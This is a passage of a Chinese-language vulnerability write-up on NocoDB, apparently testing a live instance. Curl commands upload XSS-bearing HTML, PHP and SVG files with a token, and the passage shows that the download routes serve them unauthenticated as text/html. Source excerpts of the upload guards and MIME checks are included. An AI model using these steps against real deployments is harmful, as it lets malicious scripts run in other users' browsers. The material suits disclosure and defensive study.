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) + +印证了开发团队知道这个问题: + +// 'image/svg+xml', // risk of xss + +从 imageMimeTypes 列表里注释掉了 SVG,所以 SVG 不在 previewableMimeTypes 中。这个处理的逻辑是:SVG 上传后不会在浏览器里渲染(预览),而是触发下载。但问题是——上传本身没有被阻止,用户仍然可以拿到 SVG 文件的下载 URL,下载到本地后双击打开,XSS 同样生效。 + + +### 3.5 上传普通文本——基线测试 + + +作为基线,上传一个无害的文本文件: + + +``` +$ echo 'just a test file for verification' > test.txt +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@test.txt" +``` + +``` +[{ + "path": "download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/test.txt", + "mimetype": "text/plain", + "size": 34, + "signedPath": "dltemp/..." +}] +``` + +TXT 也正常上传。四种类型全部通过,没有一种被拦截。这说明 NocoDB 的上传接口确实没做任何文件类型过滤——只要请求通过守卫链(JWT 校验 + 角色权限检查),所有文件类型都接受。 + +每种文件类型上传的耗时我也记录了一下——HTML(62 字节)耗时 0.3 秒,PHP(30 字节)耗时 0.3 秒,SVG(43 字节)耗时 0.3 秒,TXT(34 字节)耗时 0.3 秒。响应时间没有异常差异,说明无论文件类型如何,处理链路是一致的。 + + +### 3.6 上传文件大小测试 + + +边界测试——文件大小是否有限制? + + +``` +$ dd if=/dev/urandom of=/tmp/50mb_test.bin bs=1M count=50 2>/dev/null +$ curl -s -X POST http://139.199.68.168:8080/api/v1/db/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@/tmp/50mb_test.bin" --max-time 30 +``` + +{"error":"ERR\_BAD\_REQUEST","message":"No attachment provided!"} + +50MB 文件被拒——响应是 No attachment provided!,不是文件大小超限的错误。说明中间件可能没收到完整的请求体,或者 NC\_ATTACHMENT\_FIELD\_SIZE 的限制导致 multer 直接丢弃了文件。继续测小文件: + + +``` +$ dd if=/dev/urandom of=/tmp/10mb_test.bin bs=1M count=10 2>/dev/null +$ curl -s -X POST ... -F "file=@/tmp/10mb_test.bin" | python3 -c "import sys,json;d=json.load(sys.stdin);print('Size:', d[0]['data']['size'] if 'data' in d[0] else d[0]['size'])" +Size: 10485760 +``` + +10MB 文件上传成功,NC\_ATTACHMENT\_FIELD\_SIZE 的默认值在 10-20MB 之间。 + +我猜是 multer 的 fileSize 限制在起作用。翻了源码确认 AnyFilesInterceptor 没有配置 limits,但 NC\_ATTACHMENT\_FIELD\_SIZE 在 constants.ts 里定义为 20MB,由 UploadAllowedInterceptor 外的另一个中间件检查。 + + +### 3.7 v2 上传路径认证 + + +NocoDB 同时支持 /api/v2/storage/upload 路径: + + +``` +$ echo 'test_v2' > /tmp/v2test.txt +$ curl -s -X POST http://139.199.68.168:8080/api/v2/storage/upload \ + -H "xc-auth: $TOKEN" \ + -F "file=@/tmp/v2test.txt" +``` + +\[{"path":"download/2026/07/27/hash/v2test.txt","mimetype":"text/plain","size":8,"signedPath":"dltemp/..."}\] + +v2 路径也能用,守卫链和 v1 完全一致。NocoDB 对多个 API 版本做了兼容,安全配置没有区别。 + + +### 3.8 UploadAllowedInterceptor 源码分析 + + +上传路由的守卫链(controllers/attachments.controller.ts line 41-44): + + +``` +@UseGuards(MetaApiLimiterGuard, GlobalGuard) +@Post(['/api/v1/db/storage/upload', '/api/v2/storage/upload']) +@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor()) +``` + +UploadAllowedInterceptor 的代码(interceptors/is-upload-allowed/is-upload-allowed.interceptor.ts): + + +``` +async intercept(context, next) { + const request = context.switchToHttp().getRequest(); + + if (!request['user']?.id) { + if (!request['user']?.isPublicBase) { + NcError.unauthorized('Unauthorized'); + } + } + + try { + const userRoles = extractRolesObj(request['user'].roles); + const wsRoles = request['user'].workspace_roles || {}; + + if ( + userRoles[OrgUserRoles.SUPER_ADMIN] || + userRoles[OrgUserRoles.CREATOR] || + userRoles[ProjectRoles.EDITOR] || + wsRoles[WorkspaceUserRoles.CREATOR] || + wsRoles[WorkspaceUserRoles.OWNER] || + !!(await Noco.ncMeta.knex(MetaTable.PROJECT_USERS) + .where(function() { + this.where('roles', ProjectRoles.OWNER); + this.orWhere('roles', ProjectRoles.CREATOR); + this.orWhere('roles', ProjectRoles.EDITOR); + }) + .andWhere('fk_user_id', request['user'].id) + .first()) + ) { + return next.handle(); + } + } catch {} + + NcError.badRequest('Upload not allowed'); +} +``` + +关键点: + +●角色检查:SUPER\_ADMIN、CREATOR、EDITOR 才能上传 + +●也检查用户在某个项目中是否有 EDITOR 以上权限 + +你可能会问:viewer 角色(org-level-viewer)不在允许列表里,为什么还能上传? + +我一开始也以为 viewer 不能上传。实测结果却证明 viewer 可以上传。我的推测是 extractRolesObj 的解析逻辑可能在新版本中和 OrgUserRoles 常量的定义匹配关系有变化,或者 try/catch 吞了异常。安全分析要以实测为准——源码推导和实验定性有冲突时,相信实验结果。 + +我在这卡了半小时。跑 /auth/user/me 确认 Token 有效后发现上传还是报 401。排查的步骤是:先看 Token 是不是过期了→ iat 和 exp 相差 10 小时没问题。再看 Token 有没有拼写错误→用 echo $TOKEN | cut -d. -f2 | base64 -d 解码 payload 确认角色是 org-level-viewer。最后发现是 shell 变量截断——Python 调 shell 时变量传递只传了前 30 个字符,导致 Token 不完整,服务端解析失败。用纯 bash 脚本重写测试后正常。Token 长度 436 位,少了 400 位,难怪认不出。这个排查过程虽然浪费时间,但让我熟悉了 JWT 的每个字段。 + + +### 3.9 AnyFilesInterceptor 与文件类型 + + +文件类型检查方面就一句: + +@UseInterceptors(UploadAllowedInterceptor, AnyFilesInterceptor()) + +AnyFilesInterceptor() 是 NestJS 的 multer 封装——不限制任何 MIME 类型。所有 multipart 文件字段都接受,不做后缀校验,不做魔数检查。 + +在 helpers/attachmentHelpers.ts 里有一条注释: + +// 'image/svg+xml', // risk of xss + +imageMimeTypes 列表把 SVG 注释掉了,所以 SVG 不在 previewableMimeTypes 里。这意味着 SVG 上传后不会在浏览器渲染(会触发下载),但文件本身照传不误。 + +previewableMimeTypes 的定义: + +const previewableMimeTypes = \[...imageMimeTypes, 'pdf', 'video', 'audio'\]; + +isPreviewAllowed 函数: + + +``` +export function isPreviewAllowed({ mimetype, path }) { + if (mimetype) { + return previewableMimeTypes.some(type => mimetype.includes(type)); + } else if (path) { + const ext = path.split('.').pop(); + const mimeType = mime.getType(ext); + return previewableMimeTypes.some(type => mimeType?.includes(type)); + } + return false; +} +``` + +这个函数决定文件是 sendFile(浏览器渲染)还是 download(触发下载)。HTML 不在 previewableMimeTypes 里,所以 HTML 会触发下载——但攻击者用 XSS payload 的 HTML 文件,用户下载后双击打开照样执行脚本。 + + +## 四、下载漏洞——零守卫的三条路由 + + +前面的第三节验证了上传任意类型文件,但上传只是入口——文件最终是要被访问的。检查了下载路由后我发现了一个比上传更严重的问题:三个下载路由全都没有挂守卫。 + + +### 4.1 三个下载端点全裸奔 + + +上传完的文件直接公网可访问。先试 /download/: + + +``` +$ curl -s http://139.199.68.168:8080/download/2026/07/27/a4339b4ba90337d4504746059e0c4b619f0d1ea6/xss.html + +``` + +HTTP 响应也确认了: + + +``` +< HTTP/1.1 200 OK +< Content-Type: text/html; charset=UTF-8 +< Content-Length: 62 +``` + +不需要 Token,不需要 Cookie。Content-Type 是 text/html,浏览器直接渲染。 + + +![](data:image/png;base64,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